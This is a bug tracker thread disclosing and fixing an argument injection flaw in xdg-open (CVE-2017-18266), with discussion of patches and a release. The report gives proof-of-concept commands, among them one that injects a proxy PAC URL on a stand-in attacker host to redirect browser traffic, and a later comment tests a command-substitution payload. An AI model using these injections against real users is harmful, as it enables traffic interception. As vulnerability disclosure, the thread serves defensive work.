|Summary:||Argument injection in xdg-open open_envvar|
|Product:||Portland||Reporter:||Gabriel Corona <gabriel.corona>|
|Component:||xdg-utils||Assignee:||Portland Bugs <portland-bugs>|
|Status:||RESOLVED FIXED||QA Contact:|
|Priority:||medium||CC:||carnil, guriev-ns, pochu27|
|i915 platform:||i915 features:|
Description Gabriel Corona 2017-11-18 00:50:22 UTC
xdg-open open_envvar is vulnerable to argument injection when BROWSER contains %s: This command: BROWSER="chromium %s" xdg-open "http://www.example.com/ --incognito" will open incognito mode of chromium (when open_envvar mode is used). The corresponding code is: if echo "$browser" | grep -q %s; then $(printf "$browser" "$1") This could be abused to silently set chromium proxy configuration which would allow an attacker to redirect all of the browser traffic through a server under his control: BROWSER="chromium %s" xdg-open "http://www.example.com/ --proxy-pac-url=http://dangerous.example.com/proxy.pac" One possible solution would be to URI-encode IFS characters in $1. See https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=881767 for a similar problem in sensible-browser.
Comment 1 Gabriel Corona 2018-05-09 18:52:19 UTC
Created attachment 139450 [details] [review] Possible patch
Comment 2 Rex Dieter 2018-05-09 19:12:10 UTC
The proposed patch looks fine to me. (As an aside, I'd like to work to remove the browser fallback stuff in some future release)
Comment 3 Rex Dieter 2018-05-09 19:16:46 UTC
Comment 4 carnil 2018-05-10 14:17:36 UTC
MITRE has assigned CVE-2017-18266 for this issue.
Comment 5 carnil 2018-05-10 20:39:34 UTC
Hi The autotests/t-xdg-open-url.sh autotest which was introduced with the ttps://cgit.freedesktop.org/xdg/xdg-utils/commit/?id=094b73658a4fb11a40924d8df72165b054aac330 commit ('check that $BROWSER with %s is safe from shell injection') will need an adjustment after the https://cgit.freedesktop.org/xdg/xdg-utils/commit/?id=ce802d71c3466d1dbb24f2fe9b6db82a1f899bcb commit
Comment 6 Emilio Pozuelo Monfort 2018-05-11 08:11:51 UTC
Are you planning to issue a new release soon with this fix?
Comment 7 Rex Dieter 2018-05-12 13:03:22 UTC
yes, xdg-utils-1.1.3 was released on may-10
Comment 8 Emilio Pozuelo Monfort 2018-05-13 08:37:57 UTC
Ah, I was checking git. Seems like you forgot to push some commits in the master branch.
Comment 9 Rex Dieter 2018-05-13 13:39:01 UTC
I see all those I intended at https://cgit.freedesktop.org/xdg/xdg-utils/ what are you looking for?
Comment 10 Emilio Pozuelo Monfort 2018-05-13 18:18:58 UTC
My bad. I wasn't getting "bump version, prep for 1.1.3 release" and later commits. I blame my browser cache. Sorry for the noise, and thanks for the fix and the release!
Comment 11 Karol Babioch 2018-05-14 08:57:15 UTC
I'm not sure if the proposed fix is really fixing the problem, because it only checks whether a single argument is provided. What about this? BROWSER="firefox %s" xdg-open "https://google.com$(touch /tmp/testfile)" For me this creates a testfile in /tmp, which shouldn't be the case.
Comment 12 Gabriel Corona 2018-05-14 09:11:49 UTC
Karol, this happens because of command expansion in your shell, before xdg-open is even called: false "https://google.com$(touch /tmp/testfile)" This command also creates a temporary file which demonstrates that this is not a problem with xdg-open. The correct way to try this is to use single quotes in order to prevent command expansion in your shell: BROWSER="firefox %s" xdg-open 'https://google.com$(touch /tmp/testfile)' This command does not create a temporary file.
Comment 13 Gabriel Corona 2018-05-14 09:19:29 UTC
By the way, this vulnerability is not about arbitrary shell command injection. We can only inject extra arguments in the browser exec() by injecting IFS characters.
Comment 14 Emilio Pozuelo Monfort 2018-05-14 16:45:11 UTC
(In reply to carnil from comment #5) > Hi > > The autotests/t-xdg-open-url.sh autotest which was introduced with the > ttps://cgit.freedesktop.org/xdg/xdg-utils/commit/ > ?id=094b73658a4fb11a40924d8df72165b054aac330 commit ('check that $BROWSER > with %s is safe from shell injection') will need an adjustment after the > https://cgit.freedesktop.org/xdg/xdg-utils/commit/ > ?id=ce802d71c3466d1dbb24f2fe9b6db82a1f899bcb commit This needs an update. Do you want a separate bug for it?
Comment 15 Rex Dieter 2018-05-14 16:52:39 UTC
Comment 17 Nicholas Guriev 2018-05-19 15:59:55 UTC
Created attachment 139640 [details] [review] Another patch Please consider this patch of the latest version 1.1.3. It fixes the issue in another way. First a content of the $browser variable is split into separate arguments, then the %s placeholder for printf is replaced with a URL while keeping spaces that are passed to a browser in a single argument. So we avoid passing extra parameters. An advantage of this approach is that xdg-open doesn't display irrelevant error message "no method available ..." (Something like "invalid argument" would be more appropriate). This preserves the current behavior, and the utility still tries to open even a slightly invalid URL. The patch uses positional parameters for deal with arguments list to achieve portability. Also I've added an auto-test of this vulnerability.
Comment 18 Gabriel Corona 2018-05-22 22:14:28 UTC
Yes, this solution is probably better than mine.